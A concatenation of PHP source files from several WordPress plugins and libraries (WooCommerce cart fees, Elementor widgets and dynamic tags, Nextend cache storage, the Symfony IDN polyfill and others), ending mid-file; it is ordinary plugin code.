final class WC_Cart_Fees {

	/**
	 * An array of fee objects.
	 *
	 * @var object[]
	 */
	private $fees = array();

	/**
	 * Reference to cart object.
	 *
	 * @since 3.2.0
	 * @var WC_Cart
	 */
	private $cart;

	/**
	 * New fees are made out of these props.
	 *
	 * @var array
	 */
	private $default_fee_props = array(
		'id'        => '',
		'name'      => '',
		'tax_class' => '',
		'taxable'   => false,
		'amount'    => 0,
		'total'     => 0,
	);

	/**
	 * Constructor. Reference to the cart.
	 *
	 * @since 3.2.0
	 * @throws Exception If missing WC_Cart object.
	 * @param WC_Cart $cart Cart object.
	 */
	public function __construct( &$cart ) {
		if ( ! is_a( $cart, 'WC_Cart' ) ) {
			throw new Exception( 'A valid WC_Cart object is required' );
		}

		$this->cart = $cart;
	}

	/**
	 * Register methods for this object on the appropriate WordPress hooks.
	 */
	public function init() {}

	/**
	 * Add a fee. Fee IDs must be unique.
	 *
	 * @since 3.2.0
	 * @param array $args Array of fee properties.
	 * @return object Either a fee object if added, or a WP_Error if it failed.
	 */
	public function add_fee( $args = array() ) {
		$fee_props            = (object) wp_parse_args( $args, $this->default_fee_props );
		$fee_props->name      = $fee_props->name ? $fee_props->name : __( 'Fee', 'woocommerce' );
		$fee_props->tax_class = in_array( $fee_props->tax_class, array_merge( WC_Tax::get_tax_classes(), WC_Tax::get_tax_class_slugs() ), true ) ? $fee_props->tax_class : '';
		$fee_props->taxable   = wc_string_to_bool( $fee_props->taxable );
		$fee_props->amount    = wc_format_decimal( $fee_props->amount );

		if ( empty( $fee_props->id ) ) {
			$fee_props->id = $this->generate_id( $fee_props );
		}

		if ( array_key_exists( $fee_props->id, $this->fees ) ) {
			return new WP_Error( 'fee_exists', __( 'Fee has already been added.', 'woocommerce' ) );
		}

		$this->fees[ $fee_props->id ] = $fee_props;

		return $this->fees[ $fee_props->id ];
	}

	/**
	 * Get fees.
	 *
	 * @return array
	 */
	public function get_fees() {
		uasort( $this->fees, array( $this, 'sort_fees_callback' ) );

		return $this->fees;
	}

	/**
	 * Set fees.
	 *
	 * @param object[] $raw_fees Array of fees.
	 */
	public function set_fees( $raw_fees = array() ) {
		$this->fees = array();

		foreach ( $raw_fees as $raw_fee ) {
			$this->add_fee( $raw_fee );
		}
	}

	/**
	 * Remove all fees.
	 *
	 * @since 3.2.0
	 */
	public function remove_all_fees() {
		$this->set_fees();
	}

	/**
	 * Sort fees by amount.
	 *
	 * @param stdClass $a Fee object.
	 * @param stdClass $b Fee object.
	 * @return int
	 */
	protected function sort_fees_callback( $a, $b ) {
		/**
		 * Filter sort fees callback.
		 *
		 * @since 3.8.0
		 * @param int Sort order, -1 or 1.
		 * @param stdClass $a Fee object.
		 * @param stdClass $b Fee object.
		 */
		return apply_filters( 'woocommerce_sort_fees_callback', $a->amount > $b->amount ? -1 : 1, $a, $b );
	}

	/**
	 * Generate a unique ID for the fee being added.
	 *
	 * @param string $fee Fee object.
	 * @return string fee key.
	 */
	private function generate_id( $fee ) {
		return sanitize_title( $fee->name );
	}
}
<?php


namespace Nextend\Framework\Cache\Storage;


class Filesystem extends AbstractStorage {

    public function __construct() {
        $this->paths['web']    = \Nextend\Framework\Filesystem\Filesystem::getWebCachePath();
        $this->paths['notweb'] = \Nextend\Framework\Filesystem\Filesystem::getNotWebCachePath();
        $this->paths['image']  = \Nextend\Framework\Filesystem\Filesystem::getImagesFolder();
    }

    public function isFilesystem() {
        return true;
    }

    public function clearAll($scope = 'notweb') {
        if (\Nextend\Framework\Filesystem\Filesystem::existsFolder($this->paths[$scope])) {
            \Nextend\Framework\Filesystem\Filesystem::deleteFolder($this->paths[$scope]);
        }
    }

    public function clear($group, $scope = 'notweb') {

        if (\Nextend\Framework\Filesystem\Filesystem::existsFolder($this->paths[$scope] . '/' . $group)) {
            \Nextend\Framework\Filesystem\Filesystem::deleteFolder($this->paths[$scope] . '/' . $group);
        }
    }

    public function exists($group, $key, $scope = 'notweb') {
        if (\Nextend\Framework\Filesystem\Filesystem::existsFile($this->paths[$scope] . '/' . $group . '/' . $key)) {
            return true;
        }

        return false;
    }

    public function set($group, $key, $value, $scope = 'notweb') {
        $path = $this->paths[$scope] . '/' . $group . '/' . $key;
        $dir  = dirname($path);
        if (!\Nextend\Framework\Filesystem\Filesystem::existsFolder($dir)) {
            \Nextend\Framework\Filesystem\Filesystem::createFolder($dir);
        }
        \Nextend\Framework\Filesystem\Filesystem::createFile($path, $value);
    }

    public function get($group, $key, $scope = 'notweb') {
        return \Nextend\Framework\Filesystem\Filesystem::readFile($this->paths[$scope] . '/' . $group . '/' . $key);
    }

    public function remove($group, $key, $scope = 'notweb') {
        if ($this->exists($group, $key, $scope)) {
            @unlink($this->paths[$scope] . '/' . $group . '/' . $key);
        }
    }

    public function getPath($group, $key, $scope = 'notweb') {
        return $this->paths[$scope] . DIRECTORY_SEPARATOR . $group . DIRECTORY_SEPARATOR . $key;
    }
}<?php

declare(strict_types=1);

namespace SlimStat\Dependencies\BrowscapPHP\Exception;

use Exception;

final class FileNameMissingException extends Exception
{
}
<?php
/**
 * Module Name: Assets Loader
 * Description: The module allows you deferred loading scripts and styles.
 * Author: Cherry Team
 * Author URI: http://www.cherryframework.com/
 * License: GPLv3
 * License URI: http://www.gnu.org/licenses/gpl-3.0.html
 *
 * @package    Cherry_Framework
 * @subpackage Modules
 * @author     Cherry Team <cherryframework@gmail.com>
 * @copyright  Copyright (c) 2012 - 2017, Cherry Team
 * @link       http://www.cherryframework.com/
 * @license    http://www.gnu.org/licenses/gpl-3.0.html
 */

// If this file is called directly, abort.
if ( ! defined( 'WPINC' ) ) {
	die;
}

// If class `Cherry5_Assets_Loader` doesn't exists yet.
if ( ! class_exists( 'Cherry5_Assets_Loader' ) ) {

	/**
	 * Cherry5_Assets_Loader class.
	 */
	class Cherry5_Assets_Loader {

		/**
		 * Module slug
		 *
		 * @var string
		 */
		public $module_slug = 'cherry5-assets-loader';

		/**
		 * Module arguments
		 *
		 * @since 1.0.0
		 * @var array
		 * @access private
		 */
		private $args = array();

		/**
		 * Core instance
		 *
		 * @since 1.0.0
		 * @var object
		 * @access private
		 */
		private $core = null;

		/**
		 * CSS handle object for deferred loading.
		 *
		 * @var array
		 */
		public static $css_handle = array();

		/**
		 * JS handle object for deferred loading.
		 *
		 * @var array
		 */
		public static $js_handle = array();

		/**
		 * Is module hooks initialized or not.
		 *
		 * @var boolean
		 */
		public static $initialized = false;

		/**
		 * Module directory path.
		 *
		 * @since 1.5.0
		 * @var   srting.
		 */
		public static $module_path = null;

		/**
		 * Class constructor.
		 *
		 * @since 1.0.0
		 * @access public
		 * @return void
		 */
		public function __construct( $core = null, $args = array() ) {

			self::$module_path = $args['module_path'];
			$this->args        = $args;
			$this->init();

			if ( ! empty( $this->args['css'] ) && is_array( $this->args['css'] ) ) {
				self::$css_handle->add_handles( $this->args['css'] );
			}

			if ( ! empty( $this->args['js'] ) && is_array( $this->args['js'] ) ) {
				self::$js_handle->add_handles( $this->args['js'] );
			}
		}

		/**
		 * Initialize module hooks
		 *
		 * @return bool|void
		 */
		public function init() {

			if ( true === self::$initialized ) {
				return null;
			}

			require_once 'inc/cherry5-assets-loader-handle.php';
			require_once 'inc/cherry5-assets-loader-handle-css.php';
			require_once 'inc/cherry5-assets-loader-handle-js.php';

			self::$css_handle = new Cherry5_Assets_Loader_Handle_CSS();
			self::$js_handle  = new Cherry5_Assets_Loader_Handle_JS();

			self::$initialized = true;

			ob_start();
			include 'assets/min/append.min.js';
			$append_handler = ob_get_clean();
			wp_add_inline_script( 'cherry-js-core', $append_handler );

		}

		/**
		 * Returns new module instance.
		 *
		 * @since  1.0.0
		 * @return object
		 */
		public static function get_instance( $core, $args ) {
			return new self( $core, $args );
		}

	}
}
<?php
/**
 * Copyright (C) 2014-2018 ServMask Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 * ███████╗███████╗██████╗ ██╗   ██╗███╗   ███╗ █████╗ ███████╗██╗  ██╗
 * ██╔════╝██╔════╝██╔══██╗██║   ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝
 * ███████╗█████╗  ██████╔╝██║   ██║██╔████╔██║███████║███████╗█████╔╝
 * ╚════██║██╔══╝  ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗
 * ███████║███████╗██║  ██║ ╚████╔╝ ██║ ╚═╝ ██║██║  ██║███████║██║  ██╗
 * ╚══════╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚═╝     ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
 */

class Ai1wm_File_Index {

	/**
	 * Create index.php file
	 *
	 * @param  string  $path Path to file
	 * @return boolean
	 */
	public static function create( $path ) {
		return Ai1wm_File::create( $path, '<?php // silence is golden' );
	}
}
<?php
namespace Imagify\Deprecated\Traits\Optimization\Process;

defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' );

/**
 * Trait containing deprecated methods of the class \Imagify\Optimization\Process\AbstractProcess.
 *
 * @since
 * @author Grégory Viguier
 */
trait AbstractProcessDeprecatedTrait {

	/**
	 * Get the File instance.
	 *
	 * @since  1.9
	 * @since   Deprecated
	 * @access public
	 * @author Grégory Viguier
	 * @deprecated
	 *
	 * @return File|false
	 */
	public function get_file() {
		$full_class = get_class( $this );
		$class_name = explode( '\\', trim( $full_class, '\\' ) );
		$class_name = end( $class_name );

		_deprecated_function( get_class( $this ) . '::' . __FUNCTION__ . '()', '', '( new \Imagify\Optimization\Process\\' . $class_name . '( $id ) )->get_fullsize_file()' );

		if ( isset( $this->file ) ) {
			return $this->file;
		}

		$this->file = false;

		if ( $this->get_media() ) {
			$this->file = new File( $this->get_media()->get_raw_fullsize_path() );
		}

		return $this->file;
	}
}
<?php
namespace Elementor;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor sidebar widget.
 *
 * Elementor widget that insert any sidebar into the page.
 *
 * @since 1.0.0
 */
class Widget_Sidebar extends Widget_Base {

	/**
	 * Get widget name.
	 *
	 * Retrieve sidebar widget name.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return string Widget name.
	 */
	public function get_name() {
		return 'sidebar';
	}

	/**
	 * Get widget title.
	 *
	 * Retrieve sidebar widget title.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return string Widget title.
	 */
	public function get_title() {
		return esc_html__( 'Sidebar', 'elementor' );
	}

	/**
	 * Get widget icon.
	 *
	 * Retrieve sidebar widget icon.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return string Widget icon.
	 */
	public function get_icon() {
		return 'eicon-sidebar';
	}

	/**
	 * Get widget keywords.
	 *
	 * Retrieve the list of keywords the widget belongs to.
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @return array Widget keywords.
	 */
	public function get_keywords() {
		return [ 'sidebar', 'widget' ];
	}

	/**
	 * Register sidebar widget controls.
	 *
	 * Adds different input fields to allow the user to change and customize the widget settings.
	 *
	 * @since 3.1.0
	 * @access protected
	 */
	protected function register_controls() {
		global $wp_registered_sidebars;

		$options = [];

		if ( ! $wp_registered_sidebars ) {
			$options[''] = esc_html__( 'No sidebars were found', 'elementor' );
		} else {
			$options[''] = esc_html__( 'Choose Sidebar', 'elementor' );

			foreach ( $wp_registered_sidebars as $sidebar_id => $sidebar ) {
				$options[ $sidebar_id ] = $sidebar['name'];
			}
		}

		$default_key = array_keys( $options );
		$default_key = array_shift( $default_key );

		$this->start_controls_section(
			'section_sidebar',
			[
				'label' => esc_html__( 'Sidebar', 'elementor' ),
			]
		);

		$this->add_control(
			'sidebar',
			[
				'label' => esc_html__( 'Choose Sidebar', 'elementor' ),
				'type' => Controls_Manager::SELECT,
				'default' => $default_key,
				'options' => $options,
			]
		);

		$this->end_controls_section();
	}

	/**
	 * Render sidebar widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function render() {
		$sidebar = $this->get_settings_for_display( 'sidebar' );

		if ( empty( $sidebar ) ) {
			return;
		}

		dynamic_sidebar( $sidebar );
	}

	/**
	 * Render sidebar widget output in the editor.
	 *
	 * Written as a Backbone JavaScript template and used to generate the live preview.
	 *
	 * @since 2.9.0
	 * @access protected
	 */
	protected function content_template() {}

	/**
	 * Render sidebar widget as plain content.
	 *
	 * Override the default render behavior, don't render sidebar content.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function render_plain_content() {}
}
<?php
namespace ElementorPro\Modules\DynamicTags;

use Elementor\Modules\DynamicTags\Module as TagsModule;
use ElementorPro\Modules\DynamicTags\ACF;
use ElementorPro\Modules\DynamicTags\Toolset;
use ElementorPro\Modules\DynamicTags\Pods;
use ElementorPro\Core\Utils;
use ElementorPro\License\API;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Module extends TagsModule {

	const AUTHOR_GROUP = 'author';

	const POST_GROUP = 'post';

	const COMMENTS_GROUP = 'comments';

	const SITE_GROUP = 'site';

	const ARCHIVE_GROUP = 'archive';

	const MEDIA_GROUP = 'media';

	const ACTION_GROUP = 'action';

	const WOOCOMMERCE_GROUP = 'woocommerce';

	// TODO: Remove when Core 3.10.0 is released.
	const DATETIME_CATEGORY = 'datetime';

	const LICENSE_FEATURE_ACF_NAME = 'dynamic-tags-acf';
	const LICENSE_FEATURE_PODS_NAME = 'dynamic-tags-pods';
	const LICENSE_FEATURE_TOOLSET_NAME = 'dynamic-tags-toolset';

	public function __construct() {
		parent::__construct();

		$this->add_component( 'author-meta-filter', new Components\Author_Meta_Filter() );

		// ACF 5 and up
		if ( class_exists( '\acf' ) && function_exists( 'acf_get_field_groups' ) && API::is_licence_has_feature( self::LICENSE_FEATURE_ACF_NAME, API::BC_VALIDATION_CALLBACK ) ) {
			$this->add_component( 'acf', new ACF\Module() );
		}

		if ( function_exists( 'wpcf_admin_fields_get_groups' ) && API::is_licence_has_feature( self::LICENSE_FEATURE_TOOLSET_NAME, API::BC_VALIDATION_CALLBACK ) ) {
			$this->add_component( 'toolset', new Toolset\Module() );
		}

		if ( function_exists( 'pods' ) && API::is_licence_has_feature( self::LICENSE_FEATURE_PODS_NAME, API::BC_VALIDATION_CALLBACK ) ) {
			$this->add_component( 'pods', new Pods\Module() );
		}

		/*
		 * WooCommerce Add To Cart Dynamic Tag.
		 *
		 * The WC ATC Dynamic Tag returns a URL that adds items to a users cart
		 * via the URL parameters `?add-to-cart=' . $product_id . '&quantity=' . $quantity`.
		 * Normally this URL method redirects to the website's Home page after adding the items to
		 * the cart.
		 *
		 * Since the behavior of the Tag should be identical to the "Add to Cart" widget, clicking an
		 * element that is using the tag needs to redirect to the Single Product page for the added
		 * product or the Cart page after this process if the user selected that setting in WooCommerce.
		 *
		 * To accomplish that, an extra parameter in the URL ('&e-redirect=') is used. When this
		 * paramater is found, the WooCommerce Add to Cart Dynamic Tag will redirect to the
		 * appropriate page.
		 */

		//phpcs:ignore WordPress.Security.NonceVerification.Recommended -- The nonce is verified in the WC class.
		$add_to_cart = Utils::_unstable_get_super_global_value( $_REQUEST, 'add-to-cart' );
		//phpcs:ignore WordPress.Security.NonceVerification.Recommended -- The nonce is verified in the WC class.
		$redirect = Utils::_unstable_get_super_global_value( $_REQUEST, 'e-redirect' );

		if ( $add_to_cart && $redirect ) {
			add_filter( 'woocommerce_add_to_cart_redirect', [ $this, 'filter_woocommerce_add_to_cart_redirect' ], 10, 1 );
		}

		add_filter( 'elementor/document/save/data', [ $this->get_component( 'author-meta-filter' ), 'filter' ], 10, 2 );
	}

	public function filter_woocommerce_add_to_cart_redirect( $wc_get_cart_url ) {
		//phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verification is not required here.
		return esc_url( Utils::_unstable_get_super_global_value( $_REQUEST, 'e-redirect' ) );
	}

	public function get_name() {
		return 'tags';
	}

	public function get_tag_classes_names() {
		return [
			'Archive_Description',
			'Archive_Meta',
			'Archive_Title',
			'Archive_URL',
			'Author_Info',
			'Author_Meta',
			'Author_Name',
			'Author_Profile_Picture',
			'Author_URL',
			'Comments_Number',
			'Comments_URL',
			'Page_Title',
			'Post_Custom_Field',
			'Post_Date',
			'Post_Excerpt',
			'Post_Featured_Image',
			'Post_Gallery',
			'Post_ID',
			'Post_Terms',
			'Post_Time',
			'Post_Title',
			'Post_URL',
			'Site_Logo',
			'Site_Tagline',
			'Site_Title',
			'Site_URL',
			'Internal_URL',
			'Current_Date_Time',
			'Request_Parameter',
			'Lightbox',
			'Featured_Image_Data',
			'Shortcode',
			'Contact_URL',
			'User_Info',
			'User_Profile_Picture',
		];
	}

	public function get_groups() {
		return [
			self::POST_GROUP => [
				'title' => esc_html__( 'Post', 'elementor-pro' ),
			],
			self::ARCHIVE_GROUP => [
				'title' => esc_html__( 'Archive', 'elementor-pro' ),
			],
			self::SITE_GROUP => [
				'title' => esc_html__( 'Site', 'elementor-pro' ),
			],
			self::MEDIA_GROUP => [
				'title' => esc_html__( 'Media', 'elementor-pro' ),
			],
			self::ACTION_GROUP => [
				'title' => esc_html__( 'Actions', 'elementor-pro' ),
			],
			self::AUTHOR_GROUP => [
				'title' => esc_html__( 'Author', 'elementor-pro' ),
			],
			self::COMMENTS_GROUP => [
				'title' => esc_html__( 'Comments', 'elementor-pro' ),
			],
			self::WOOCOMMERCE_GROUP => [
				'title' => esc_html__( 'WooCommerce', 'elementor-pro' ),
			],
		];
	}
}
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com> and Trevor Rowbotham <trevor.rowbotham@pm.me>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Polyfill\Intl\Idn;

use Exception;
use Normalizer;
use Symfony\Polyfill\Intl\Idn\Resources\unidata\DisallowedRanges;
use Symfony\Polyfill\Intl\Idn\Resources\unidata\Regex;

/**
 * @see https://www.unicode.org/reports/tr46/
 *
 * @internal
 */
final class Idn
{
    const ERROR_EMPTY_LABEL = 1;
    const ERROR_LABEL_TOO_LONG = 2;
    const ERROR_DOMAIN_NAME_TOO_LONG = 4;
    const ERROR_LEADING_HYPHEN = 8;
    const ERROR_TRAILING_HYPHEN = 0x10;
    const ERROR_HYPHEN_3_4 = 0x20;
    const ERROR_LEADING_COMBINING_MARK = 0x40;
    const ERROR_DISALLOWED = 0x80;
    const ERROR_PUNYCODE = 0x100;
    const ERROR_LABEL_HAS_DOT = 0x200;
    const ERROR_INVALID_ACE_LABEL = 0x400;
    const ERROR_BIDI = 0x800;
    const ERROR_CONTEXTJ = 0x1000;
    const ERROR_CONTEXTO_PUNCTUATION = 0x2000;
    const ERROR_CONTEXTO_DIGITS = 0x4000;

    const INTL_IDNA_VARIANT_2003 = 0;
    const INTL_IDNA_VARIANT_UTS46 = 1;

    const IDNA_DEFAULT = 0;
    const IDNA_ALLOW_UNASSIGNED = 1;
    const IDNA_USE_STD3_RULES = 2;
    const IDNA_CHECK_BIDI = 4;
    const IDNA_CHECK_CONTEXTJ = 8;
    const IDNA_NONTRANSITIONAL_TO_ASCII = 16;
    const IDNA_NONTRANSITIONAL_TO_UNICODE = 32;

    const MAX_DOMAIN_SIZE = 253;
    const MAX_LABEL_SIZE = 63;

    const BASE = 36;
    const TMIN = 1;
    const TMAX = 26;
    const SKEW = 38;
    const DAMP = 700;
    const INITIAL_BIAS = 72;
    const INITIAL_N = 128;
    const DELIMITER = '-';
    const MAX_INT = 2147483647;

    /**
     * Contains the numeric value of a basic code point (for use in representing integers) in the
     * range 0 to BASE-1, or -1 if b is does not represent a value.
     *
     * @var array<int, int>
     */
    private static $basicToDigit = array(
        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,

        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
        26, 27, 28, 29, 30, 31, 32, 33, 34, 35, -1, -1, -1, -1, -1, -1,

        -1,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
        15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,

        -1,  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
        15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,

        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,

        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,

        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,

        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
        -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
    );

    /**
     * @var array<int, int>
     */
    private static $virama;

    /**
     * @var array<int, string>
     */
    private static $mapped;

    /**
     * @var array<int, bool>
     */
    private static $ignored;

    /**
     * @var array<int, string>
     */
    private static $deviation;

    /**
     * @var array<int, bool>
     */
    private static $disallowed;

    /**
     * @var array<int, string>
     */
    private static $disallowed_STD3_mapped;

    /**
     * @var array<int, bool>
     */
    private static $disallowed_STD3_valid;

    /**
     * @var bool
     */
    private static $mappingTableLoaded = false;

    /**
     * @see https://www.unicode.org/reports/tr46/#ToASCII
     *
     * @param string $domainName
     * @param int    $options
     * @param int    $variant
     * @param array  $idna_info
     *
     * @return string|false
     */
    public static function idn_to_ascii($domainName, $options = self::IDNA_DEFAULT, $variant = self::INTL_IDNA_VARIANT_UTS46, &$idna_info = array())
    {
        if (\PHP_VERSION_ID >= 70200 && self::INTL_IDNA_VARIANT_2003 === $variant) {
            @trigger_error('idn_to_ascii(): INTL_IDNA_VARIANT_2003 is deprecated', E_USER_DEPRECATED);
        }

        $options = array(
            'CheckHyphens' => true,
            'CheckBidi' => self::INTL_IDNA_VARIANT_2003 === $variant || 0 !== ($options & self::IDNA_CHECK_BIDI),
            'CheckJoiners' => self::INTL_IDNA_VARIANT_UTS46 === $variant && 0 !== ($options & self::IDNA_CHECK_CONTEXTJ),
            'UseSTD3ASCIIRules' => 0 !== ($options & self::IDNA_USE_STD3_RULES),
            'Transitional_Processing' => self::INTL_IDNA_VARIANT_2003 === $variant || 0 === ($options & self::IDNA_NONTRANSITIONAL_TO_ASCII),
            'VerifyDnsLength' => true,
        );
        $info = new Info();
        $labels = self::process((string) $domainName, $options, $info);

        foreach ($labels as $i => $label) {
            // Only convert labels to punycode that contain non-ASCII code points
            if (1 === preg_match('/[^\x00-\x7F]/', $label)) {
                try {
                    $label = 'xn--'.self::punycodeEncode($label);
                } catch (Exception $e) {
                    $info->errors |= self::ERROR_PUNYCODE;
                }

                $labels[$i] = $label;
            }
        }

        if ($options['VerifyDnsLength']) {
            self::validateDomainAndLabelLength($labels, $info);
        }

        $idna_info = array(
            'result' => implode('.', $labels),
            'isTransitionalDifferent' => $info->transitionalDifferent,
            'errors' => $info->errors,
        );

        return 0 === $info->errors ? $idna_info['result'] : false;
    }

    /**
     * @see https://www.unicode.org/reports/tr46/#ToUnicode
     *
     * @param string $domainName
     * @param int    $options
     * @param int    $variant
     * @param array  $idna_info
     *
     * @return string|false
     */
    public static function idn_to_utf8($domainName, $options = self::IDNA_DEFAULT, $variant = self::INTL_IDNA_VARIANT_UTS46, &$idna_info = array())
    {
        if (\PHP_VERSION_ID >= 70200 && self::INTL_IDNA_VARIANT_2003 === $variant) {
            @trigger_error('idn_to_utf8(): INTL_IDNA_VARIANT_2003 is deprecated', E_USER_DEPRECATED);
        }

        $info = new Info();
        $labels = self::process((string) $domainName, array(
            'CheckHyphens' => true,
            'CheckBidi' => self::INTL_IDNA_VARIANT_2003 === $variant || 0 !== ($options & self::IDNA_CHECK_BIDI),
            'CheckJoiners' => self::INTL_IDNA_VARIANT_UTS46 === $variant && 0 !== ($options & self::IDNA_CHECK_CONTEXTJ),
            'UseSTD3ASCIIRules' => 0 !== ($options & self::IDNA_USE_STD3_RULES),
            'Transitional_Processing' => self::INTL_IDNA_VARIANT_2003 === $variant || 0 === ($options & self::IDNA_NONTRANSITIONAL_TO_UNICODE),
        ), $info);
        $idna_info = array(
            'result' => implode('.', $labels),
            'isTransitionalDifferent' => $info->transitionalDifferent,
            'errors' => $info->errors,
        );

        return 0 === $info->errors ? $idna_info['result'] : false;
    }

    /**
     * @param string $label
     *
     * @return bool
     */
    private static function isValidContextJ(array $codePoints, $label)
    {
        if (!isset(self::$virama)) {
            self::$virama = require __DIR__.\DIRECTORY_SEPARATOR.'Resources'.\DIRECTORY_SEPARATOR.'unidata'.\DIRECTORY_SEPARATOR.'virama.php';
        }

        $offset = 0;

        foreach ($codePoints as $i => $codePoint) {
            if (0x200C !== $codePoint && 0x200D !== $codePoint) {
                continue;
            }

            if (!isset($codePoints[$i - 1])) {
                return false;
            }

            // If Canonical_Combining_Class(Before(cp)) .eq. Virama Then True;
            if (isset(self::$virama[$codePoints[$i - 1]])) {
                continue;
            }

            // If RegExpMatch((Joining_Type:{L,D})(Joining_Type:T)*\u200C(Joining_Type:T)*(Joining_Type:{R,D})) Then
            // True;
            // Generated RegExp = ([Joining_Type:{L,D}][Joining_Type:T]*\u200C[Joining_Type:T]*)[Joining_Type:{R,D}]
            if (0x200C === $codePoint && 1 === preg_match(Regex::ZWNJ, $label, $matches, PREG_OFFSET_CAPTURE, $offset)) {
                $offset += \strlen($matches[1][0]);

                continue;
            }

            return false;
        }

        return true;
    }

    /**
     * @see https://www.unicode.org/reports/tr46/#ProcessingStepMap
     *
     * @param string              $input
     * @param array<string, bool> $options
     *
     * @return string
     */
    private static function mapCodePoints($input, array $options, Info $info)
    {
        $str = '';
        $useSTD3ASCIIRules = $options['UseSTD3ASCIIRules'];
        $transitional = $options['Transitional_Processing'];

        foreach (self::utf8Decode($input) as $codePoint) {
            $data = self::lookupCodePointStatus($codePoint, $useSTD3ASCIIRules);

            switch ($data['status']) {
                case 'disallowed':
                    $info->errors |= self::ERROR_DISALLOWED;

                    // no break.

                case 'valid':
                    $str .= mb_chr($codePoint, 'utf-8');

                    break;

                case 'ignored':
                    // Do nothing.
                    break;

                case 'mapped':
                    $str .= $data['mapping'];

                    break;

                case 'deviation':
                    $info->transitionalDifferent = true;
                    $str .= ($transitional ? $data['mapping'] : mb_chr($codePoint, 'utf-8'));

                    break;
            }
        }

        return $str;
    }

    /**
     * @see https://www.unicode.org/reports/tr46/#Processing
     *
     * @param string              $domain
     * @param array<string, bool> $options
     *
     * @return array<int, string>
     */
    private static function process($domain, array $options, Info $info)
    {
        // If VerifyDnsLength is not set, we are doing ToUnicode otherwise we are doing ToASCII and
        // we need to respect the VerifyDnsLength option.
        $checkForEmptyLabels = !isset($options['VerifyDnsLength']) || $options['VerifyDnsLength'];

        if ($checkForEmptyLabels && '' === $domain) {
            $info->errors |= self::ERROR_EMPTY_LABEL;

            return array($domain);
        }

        // Step 1. Map each code point in the domain name string
        $domain = self::mapCodePoints($domain, $options, $info);

        // Step 2. Normalize the domain name string to Unicode Normalization Form C.
        if (!Normalizer::isNormalized($domain, Normalizer::FORM_C)) {
            $domain = Normalizer::normalize($domain, Normalizer::FORM_C);
        }

        // Step 3. Break the string into labels at U+002E (.) FULL STOP.
        $labels = explode('.', $domain);
        $lastLabelIndex = \count($labels) - 1;

        // Step 4. Convert and validate each label in the domain name string.
        foreach ($labels as $i => $label) {
            $validationOptions = $options;

            if ('xn--' === substr($label, 0, 4)) {
                try {
                    $label = self::punycodeDecode(substr($label, 4));
                } catch (Exception $e) {
                    $info->errors |= self::ERROR_PUNYCODE;

                    continue;
                }

                $validationOptions['Transitional_Processing'] = false;
                $labels[$i] = $label;
            }

            self::validateLabel($label, $info, $validationOptions, $i > 0 && $i === $lastLabelIndex);
        }

        if ($info->bidiDomain && !$info->validBidiDomain) {
            $info->errors |= self::ERROR_BIDI;
        }

        // Any input domain name string that does not record an error has been successfully
        // processed according to this specification. Conversely, if an input domain_name string
        // causes an error, then the processing of the input domain_name string fails. Determining
        // what to do with error input is up to the caller, and not in the scope of this document.
        return $labels;
    }

    /**
     * @see https://tools.ietf.org/html/rfc5893#section-2
     *
     * @param string $label
     */
    private static function validateBidiLabel($label, Info $info)
    {
        if (1 === preg_match(Regex::RTL_LABEL, $label)) {
            $info->bidiDomain = true;

            // Step 1. The first character must be a character with Bidi property L, R, or AL.
            // If it has the R or AL property, it is an RTL label
            if (1 !== preg_match(Regex::BIDI_STEP_1_RTL, $label)) {
                $info->validBidiDomain = false;

                return;
            }

            // Step 2. In an RTL label, only characters with the Bidi properties R, AL, AN, EN, ES,
            // CS, ET, ON, BN, or NSM are allowed.
            if (1 === preg_match(Regex::BIDI_STEP_2, $label)) {
                $info->validBidiDomain = false;

                return;
            }

            // Step 3. In an RTL label, the end of the label must be a character with Bidi property
